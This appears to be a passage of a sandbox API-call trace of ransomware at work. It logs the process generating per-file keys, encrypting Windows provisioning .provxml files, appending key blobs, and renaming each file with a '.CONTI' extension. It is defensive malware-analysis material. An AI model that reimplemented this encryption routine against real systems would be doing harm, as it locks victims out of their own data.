	[0113.234] CryptExportKey (in: hKey=0x17c7c70, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b62a4, pdwDataLen=0x3cffb14 | out: pbData=0x65b62a4*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0113.234] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\575__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0113.236] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\575__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0113.236] GetLastError () returned 0x0
	[0113.236] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=467) returned 1
	[0113.236] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d3
	[0113.236] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x231, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.236] SetEndOfFile (hFile=0x3dc) returned 1
	[0113.238] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.238] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.238] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b62a4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x65b62a4*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0113.245] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.245] ReadFile (in: hFile=0x3dc, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x1d3, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x1d3, lpOverlapped=0x0) returned 1
	[0113.245] CryptEncrypt (in: hKey=0x17c7c70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x1d3, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x1e0) returned 1
	[0113.245] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.245] WriteFile (in: hFile=0x3dc, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x1e0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x1e0, lpOverlapped=0x0) returned 1
	[0113.245] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.245] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b6298*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x65b6298*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0113.245] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.245] CloseHandle (hObject=0x3dc) returned 1
	[0113.245] GetProcessHeap () returned 0x1720000
	[0113.245] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654cd80
	[0113.245] lstrcpyW (in: lpString1=0x654cd80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0113.245] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0113.245] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\575__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\575__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\575__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0113.246] GetProcessHeap () returned 0x1720000
	[0113.246] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654cd80 | out: hHeap=0x1720000) returned 1
	[0113.246] CryptDestroyKey (hKey=0x17c7c70) returned 1
	[0113.246] GetProcessHeap () returned 0x1720000
	[0113.246] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1818a18 | out: hHeap=0x1720000) returned 1
	[0113.246] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0113.246] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x65b3990 | out: phKey=0x65b3990*=0x17c7770) returned 1
	[0113.246] CryptExportKey (in: hKey=0x17c7770, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b3994, pdwDataLen=0x3cffb14 | out: pbData=0x65b3994*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0113.247] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\577__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.247] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\577__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0113.248] GetLastError () returned 0x0
	[0113.248] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=711) returned 1
	[0113.248] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c7
	[0113.248] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.248] SetEndOfFile (hFile=0x3dc) returned 1
	[0113.248] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.248] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.248] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b3994*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x65b3994*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0113.254] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.254] ReadFile (in: hFile=0x3dc, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x2c7, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x2c7, lpOverlapped=0x0) returned 1
	[0113.254] CryptEncrypt (in: hKey=0x17c7770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2c7, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2d0) returned 1
	[0113.254] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.254] WriteFile (in: hFile=0x3dc, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.254] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.254] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b3988*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x65b3988*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0113.254] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.254] CloseHandle (hObject=0x3dc) returned 1
	[0113.255] GetProcessHeap () returned 0x1720000
	[0113.255] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654cd80
	[0113.255] lstrcpyW (in: lpString1=0x654cd80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.255] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.255] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\577__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\577__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\577__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.255] GetProcessHeap () returned 0x1720000
	[0113.255] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654cd80 | out: hHeap=0x1720000) returned 1
	[0113.255] CryptDestroyKey (hKey=0x17c7770) returned 1
	[0113.256] GetProcessHeap () returned 0x1720000
	[0113.256] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x65b6db8 | out: hHeap=0x1720000) returned 1
	[0113.256] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0113.256] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x65b54f0 | out: phKey=0x65b54f0*=0x17c7af0) returned 1
	[0113.256] CryptExportKey (in: hKey=0x17c7af0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b54f4, pdwDataLen=0x3cffb14 | out: pbData=0x65b54f4*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0113.256] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\579__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.257] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\579__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0113.257] GetLastError () returned 0x0
	[0113.257] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=717) returned 1
	[0113.257] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cd
	[0113.257] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.257] SetEndOfFile (hFile=0x3dc) returned 1
	[0113.257] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.257] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.257] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b54f4*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x65b54f4*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0113.265] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.265] ReadFile (in: hFile=0x3dc, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x2cd, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x2cd, lpOverlapped=0x0) returned 1
	[0113.265] CryptEncrypt (in: hKey=0x17c7af0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2cd, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2d0) returned 1
	[0113.265] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.265] WriteFile (in: hFile=0x3dc, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.265] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.265] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b54e8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x65b54e8*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0113.265] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.265] CloseHandle (hObject=0x3dc) returned 1
	[0113.265] GetProcessHeap () returned 0x1720000
	[0113.265] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654cd80
	[0113.265] lstrcpyW (in: lpString1=0x654cd80, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml"
	[0113.265] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI"
	[0113.265] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\579__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\579__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\579__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0113.266] GetProcessHeap () returned 0x1720000
	[0113.266] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x654cd80 | out: hHeap=0x1720000) returned 1
	[0113.266] CryptDestroyKey (hKey=0x17c7af0) returned 1
	[0113.266] GetProcessHeap () returned 0x1720000
	[0113.266] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d7768 | out: hHeap=0x1720000) returned 1
	[0113.266] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x3cffb3c, lpCompletionKey=0x3cffb40, lpOverlapped=0x3cffb4c) returned 1
	[0113.266] CryptGenKey (in: hProv=0x1750e20, Algid=0x6610, dwFlags=0x1, phKey=0x65b64e8 | out: phKey=0x65b64e8*=0x17c77f0) returned 1
	[0113.266] CryptExportKey (in: hKey=0x17c77f0, hExpKey=0x173a890, dwBlobType=0x1, dwFlags=0x0, pbData=0x65b64ec, pdwDataLen=0x3cffb14 | out: pbData=0x65b64ec*, pdwDataLen=0x3cffb14*=0x20c) returned 1
	[0113.267] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\580__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0113.267] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\580__Connections_Cellular_o2 (Germany)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\580__connections_cellular_o2 (germany)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc
	[0113.267] GetLastError () returned 0x0
	[0113.267] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x3cffac0 | out: lpFileSize=0x3cffac0*=716) returned 1
	[0113.268] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2cc
	[0113.268] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x228, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.268] SetEndOfFile (hFile=0x3dc) returned 1
	[0113.268] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.268] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.268] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b64ec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x3cffacc, lpOverlapped=0x0 | out: lpBuffer=0x65b64ec*, lpNumberOfBytesWritten=0x3cffacc*=0x20c, lpOverlapped=0x0) returned 1
	[0113.269] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.269] ReadFile (in: hFile=0x3dc, lpBuffer=0x9d90000, nNumberOfBytesToRead=0x2cc, lpNumberOfBytesRead=0x3cffaec, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesRead=0x3cffaec*=0x2cc, lpOverlapped=0x0) returned 1
	[0113.270] CryptEncrypt (in: hKey=0x17c77f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2cc, dwBufLen=0x500000 | out: pbData=0x9d90000*, pdwDataLen=0x3cffae4*=0x2d0) returned 1
	[0113.270] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0113.270] WriteFile (in: hFile=0x3dc, lpBuffer=0x9d90000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x3cffb00, lpOverlapped=0x0 | out: lpBuffer=0x9d90000*, lpNumberOfBytesWritten=0x3cffb00*=0x2d0, lpOverlapped=0x0) returned 1
	[0113.270] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0113.270] WriteFile (in: hFile=0x3dc, lpBuffer=0x65b64e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3cffb18, lpOverlapped=0x0 | out: lpBuffer=0x65b64e0*, lpNumberOfBytesWritten=0x3cffb18*=0x8, lpOverlapped=0x0) returned 1
	[0113.270] SetFilePointer (in: hFile=0x3dc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0113.270] CloseHandle (hObject=0x3dc) returned 1
	[0113.270] GetProcessHeap () returned 0x1720000
	[0113.270] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x654cd80
